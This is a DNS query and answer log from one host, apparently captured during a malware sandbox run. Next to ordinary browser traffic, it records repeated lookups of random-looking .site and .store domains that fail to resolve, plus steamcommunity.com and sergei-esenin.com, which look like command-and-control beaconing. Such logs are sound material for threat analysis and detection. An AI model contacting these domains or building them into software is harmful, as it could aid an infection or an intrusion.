Oct 21, 2024 10:47:02.075402021 CEST	192.168.2.4	1.1.1.1	0xb91b	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.089943886 CEST	192.168.2.4	1.1.1.1	0x65f6	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 21, 2024 10:47:02.115597010 CEST	192.168.2.4	1.1.1.1	0x6925	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.178097963 CEST	192.168.2.4	1.1.1.1	0x2cb3	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.204365969 CEST	192.168.2.4	1.1.1.1	0x264a	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:47:08.179331064 CEST	192.168.2.4	1.1.1.1	0x485f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:08.186894894 CEST	192.168.2.4	1.1.1.1	0x52f7	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:47:16.266113997 CEST	192.168.2.4	1.1.1.1	0x2223	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.278259993 CEST	192.168.2.4	1.1.1.1	0xbac8	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.290201902 CEST	192.168.2.4	1.1.1.1	0xad6	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.300945044 CEST	192.168.2.4	1.1.1.1	0x6296	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.314030886 CEST	192.168.2.4	1.1.1.1	0x8e5a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.324990988 CEST	192.168.2.4	1.1.1.1	0xeb96	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.335860968 CEST	192.168.2.4	1.1.1.1	0x1c5b	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.347810984 CEST	192.168.2.4	1.1.1.1	0x80d1	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.361527920 CEST	192.168.2.4	1.1.1.1	0x9d75	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:26.650391102 CEST	192.168.2.4	1.1.1.1	0xcfa5	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.465517998 CEST	192.168.2.4	1.1.1.1	0x6d17	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.477943897 CEST	192.168.2.4	1.1.1.1	0xf951	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.491117001 CEST	192.168.2.4	1.1.1.1	0x1ac3	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.521351099 CEST	192.168.2.4	1.1.1.1	0xf730	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.552128077 CEST	192.168.2.4	1.1.1.1	0xddc5	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.562562943 CEST	192.168.2.4	1.1.1.1	0x6da	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.572027922 CEST	192.168.2.4	1.1.1.1	0x166a	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.593374968 CEST	192.168.2.4	1.1.1.1	0x5130	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:28.891069889 CEST	192.168.2.4	1.1.1.1	0xf04a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:47:32.218235016 CEST	192.168.2.4	1.1.1.1	0x979c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:47:37.197097063 CEST	192.168.2.4	1.1.1.1	0x5727	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.206892014 CEST	192.168.2.4	1.1.1.1	0x2b43	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.222220898 CEST	192.168.2.4	1.1.1.1	0x518e	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.235879898 CEST	192.168.2.4	1.1.1.1	0xcd2e	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.247162104 CEST	192.168.2.4	1.1.1.1	0x79ae	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.279894114 CEST	192.168.2.4	1.1.1.1	0xc252	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.303236008 CEST	192.168.2.4	1.1.1.1	0xb3e5	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.315382004 CEST	192.168.2.4	1.1.1.1	0x6bcb	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.286961079 CEST	192.168.2.4	1.1.1.1	0x51e5	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.299956083 CEST	192.168.2.4	1.1.1.1	0x5ce5	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.313100100 CEST	192.168.2.4	1.1.1.1	0x5456	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.324974060 CEST	192.168.2.4	1.1.1.1	0x9141	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.336042881 CEST	192.168.2.4	1.1.1.1	0x7018	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.354402065 CEST	192.168.2.4	1.1.1.1	0x45df	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.366153955 CEST	192.168.2.4	1.1.1.1	0x9875	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.388175011 CEST	192.168.2.4	1.1.1.1	0x4cae	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.402142048 CEST	192.168.2.4	1.1.1.1	0x677e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.001648903 CEST	192.168.2.4	1.1.1.1	0x443d	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.088510036 CEST	192.168.2.4	1.1.1.1	0x3fc3	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.398868084 CEST	192.168.2.4	1.1.1.1	0xfefd	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.702042103 CEST	192.168.2.4	1.1.1.1	0xcdec	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.712910891 CEST	192.168.2.4	1.1.1.1	0x5c7c	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.728806973 CEST	192.168.2.4	1.1.1.1	0xc8b6	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.739206076 CEST	192.168.2.4	1.1.1.1	0xd478	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.753310919 CEST	192.168.2.4	1.1.1.1	0x5268	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.778772116 CEST	192.168.2.4	1.1.1.1	0xcda6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 10:45:58.889250040 CEST	1.1.1.1	192.168.2.4	0x4999	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.906122923 CEST	1.1.1.1	192.168.2.4	0x272b	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.916112900 CEST	1.1.1.1	192.168.2.4	0xa474	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.946809053 CEST	1.1.1.1	192.168.2.4	0x2a53	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.966422081 CEST	1.1.1.1	192.168.2.4	0x7f3b	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.990411997 CEST	1.1.1.1	192.168.2.4	0x8dd2	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.013714075 CEST	1.1.1.1	192.168.2.4	0xdcfd	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.056072950 CEST	1.1.1.1	192.168.2.4	0x288	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.069813967 CEST	1.1.1.1	192.168.2.4	0x472c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:00.643462896 CEST	1.1.1.1	192.168.2.4	0xfe4f	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:00.643462896 CEST	1.1.1.1	192.168.2.4	0xfe4f	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:35.149051905 CEST	1.1.1.1	192.168.2.4	0x4533	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:35.237636089 CEST	1.1.1.1	192.168.2.4	0xd311	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:36.995757103 CEST	1.1.1.1	192.168.2.4	0x6ddc	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.005561113 CEST	1.1.1.1	192.168.2.4	0x323c	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.023739100 CEST	1.1.1.1	192.168.2.4	0x1e11	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:37.412496090 CEST	1.1.1.1	192.168.2.4	0x7a25	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:37.412496090 CEST	1.1.1.1	192.168.2.4	0x7a25	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.420774937 CEST	1.1.1.1	192.168.2.4	0xfde6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.439111948 CEST	1.1.1.1	192.168.2.4	0xe7ad	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 21, 2024 10:46:37.680058956 CEST	1.1.1.1	192.168.2.4	0xa214	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:37.680058956 CEST	1.1.1.1	192.168.2.4	0xa214	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.681539059 CEST	1.1.1.1	192.168.2.4	0x9ea1	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.694911957 CEST	1.1.1.1	192.168.2.4	0xba65	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:37.694911957 CEST	1.1.1.1	192.168.2.4	0xba65	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.703999043 CEST	1.1.1.1	192.168.2.4	0x75a2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.704408884 CEST	1.1.1.1	192.168.2.4	0x2109	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.705739975 CEST	1.1.1.1	192.168.2.4	0xaab9	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.455044985 CEST	1.1.1.1	192.168.2.4	0x7e00	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.455065012 CEST	1.1.1.1	192.168.2.4	0xe625	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.455065012 CEST	1.1.1.1	192.168.2.4	0xe625	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.478566885 CEST	1.1.1.1	192.168.2.4	0x582	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:38.478566885 CEST	1.1.1.1	192.168.2.4	0x582	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.506973028 CEST	1.1.1.1	192.168.2.4	0xa3cf	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:38.506973028 CEST	1.1.1.1	192.168.2.4	0xa3cf	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:38.506973028 CEST	1.1.1.1	192.168.2.4	0xa3cf	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.514581919 CEST	1.1.1.1	192.168.2.4	0x5f58	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.523307085 CEST	1.1.1.1	192.168.2.4	0xb77e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 21, 2024 10:46:40.850086927 CEST	1.1.1.1	192.168.2.4	0xbafb	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:40.850209951 CEST	1.1.1.1	192.168.2.4	0x5152	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:40.857979059 CEST	1.1.1.1	192.168.2.4	0x11d3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.495237112 CEST	1.1.1.1	192.168.2.4	0xe345	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:48.495237112 CEST	1.1.1.1	192.168.2.4	0xe345	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:48.495237112 CEST	1.1.1.1	192.168.2.4	0xe345	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.534352064 CEST	1.1.1.1	192.168.2.4	0xa1e9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.575783968 CEST	1.1.1.1	192.168.2.4	0xc35c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999454021 CEST	1.1.1.1	192.168.2.4	0x2366	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999454021 CEST	1.1.1.1	192.168.2.4	0x2366	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999469042 CEST	1.1.1.1	192.168.2.4	0x5702	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999481916 CEST	1.1.1.1	192.168.2.4	0x916f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999490023 CEST	1.1.1.1	192.168.2.4	0x612	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:52.999490023 CEST	1.1.1.1	192.168.2.4	0x612	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:53.007925987 CEST	1.1.1.1	192.168.2.4	0x1928	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:53.012381077 CEST	1.1.1.1	192.168.2.4	0x50b5	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:55.796196938 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:57.465696096 CEST	1.1.1.1	192.168.2.4	0xcaa8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:58.177047968 CEST	1.1.1.1	192.168.2.4	0xf9f0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:58.177047968 CEST	1.1.1.1	192.168.2.4	0xf9f0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145299911 CEST	1.1.1.1	192.168.2.4	0x9bfa	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145299911 CEST	1.1.1.1	192.168.2.4	0x9bfa	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145317078 CEST	1.1.1.1	192.168.2.4	0xf28d	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.146533966 CEST	1.1.1.1	192.168.2.4	0x4d6c	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:59.146533966 CEST	1.1.1.1	192.168.2.4	0x4d6c	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.152600050 CEST	1.1.1.1	192.168.2.4	0x90c3	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154407978 CEST	1.1.1.1	192.168.2.4	0x37b0	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.154503107 CEST	1.1.1.1	192.168.2.4	0xac52	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.160119057 CEST	1.1.1.1	192.168.2.4	0xfb6	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.161552906 CEST	1.1.1.1	192.168.2.4	0x18ed	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.161552906 CEST	1.1.1.1	192.168.2.4	0x18ed	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.161552906 CEST	1.1.1.1	192.168.2.4	0x18ed	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.161552906 CEST	1.1.1.1	192.168.2.4	0x18ed	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.162286997 CEST	1.1.1.1	192.168.2.4	0xadb1	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 21, 2024 10:46:59.168160915 CEST	1.1.1.1	192.168.2.4	0xfef3	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:46:59.168160915 CEST	1.1.1.1	192.168.2.4	0xfef3	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.168160915 CEST	1.1.1.1	192.168.2.4	0xfef3	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.168160915 CEST	1.1.1.1	192.168.2.4	0xfef3	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.168160915 CEST	1.1.1.1	192.168.2.4	0xfef3	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.169433117 CEST	1.1.1.1	192.168.2.4	0xad65	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.175589085 CEST	1.1.1.1	192.168.2.4	0xb3f4	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.175589085 CEST	1.1.1.1	192.168.2.4	0xb3f4	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.175589085 CEST	1.1.1.1	192.168.2.4	0xb3f4	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.175589085 CEST	1.1.1.1	192.168.2.4	0xb3f4	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
